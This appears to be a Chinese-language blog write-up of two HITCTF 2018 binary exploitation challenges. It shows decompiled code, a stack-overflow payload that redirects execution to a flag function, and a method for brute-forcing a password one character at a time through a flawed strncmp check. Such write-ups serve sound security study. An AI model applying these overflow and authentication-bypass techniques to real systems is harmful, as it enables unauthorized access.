Sunichi's Blog

sunichi@DUBHE | Linux & Pwn & Fuzz

0%

hitctf 2018 pwn100&pwn200 writeup

0x00 pwn100

保护措施:

1
2
3
4
5
Arch:     i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

pwn100为简单的栈溢出:

1
2
3
4
5
6
7
8
9
int vuln()
{
char buf; // [esp+0h] [ebp-28h]

puts("Welcome to pwn world!\nLeave your name:");
fflush(stdout);
read(0, &buf, 64u); // StackOverflow Here 64 -> 40
return puts("bye~");
}

只要将vuln函数的返回地址覆盖掉即可,使其返回到flag函数中,同时还需要构造flag函数的参数:

1
2
3
4
5
6
7
8
9
int __cdecl flag(int a1, int a2)
{
if ( a1 != 0xDEADBEEF )
CheckFailed();
command = "cat flag";
if ( a2 != 0xC0FFEE )
CheckFailed();
return system(command);
}

payload构造如下:

1
payload = 'A' * 44 + p32(flag_addr) + p32(0xdeadbeef) + p32(0xdeadbeef) + p32(0xc0ffee)

0x01 pwn200

保护措施

1
2
3
4
5
Arch:     i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

该程序先进行登录,再进行验证,验证通过后获得flag:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
signed int login()
{
signed int v1; // [esp+4h] [ebp-14h]
int n; // [esp+8h] [ebp-10h]
int v3; // [esp+Ch] [ebp-Ch]

v1 = 255;
printf("Username: ");
n = read_input_raw((int)bss_username, 16);
printf("Password: ");
v3 = read_input_raw((int)bss_password, 32);
if ( !strncmp(bss_username, "root", n) && !strncmp(bss_password, "passwd_has_be_changed_in_remote_", v3) )
return 0;
if ( !strncmp(bss_username, "lilac", n) && !strncmp(bss_password, "a_password_you_know_uh_huh_^_^@!", v3) )
v1 = 16;
return v1;
}

signed int check()
{
signed int v1; // [esp+Ch] [ebp-Ch]

v1 = 0;
if ( !strncmp(bss_username, "root", 4u) )
{
puts("Correct username!");
v1 = 1;
}
else
{
puts("Incorrect username!");
}
if ( !strncmp(bss_password, "passwd_has_be_changed_in_remote_", 32u) )
{
puts("Correct password!");
++v1;
}
else
{
puts("Incorrect password!");
}
return v1;
}

可以看出,在login函数中,只对用户输入的长度的数据进行字符串比较;而在check函数中,则对整个0x20长的字符串进行比较。从这也可以看出实际的密码长度为0x20。因此此题进行32长度的字符串逐位爆破即可。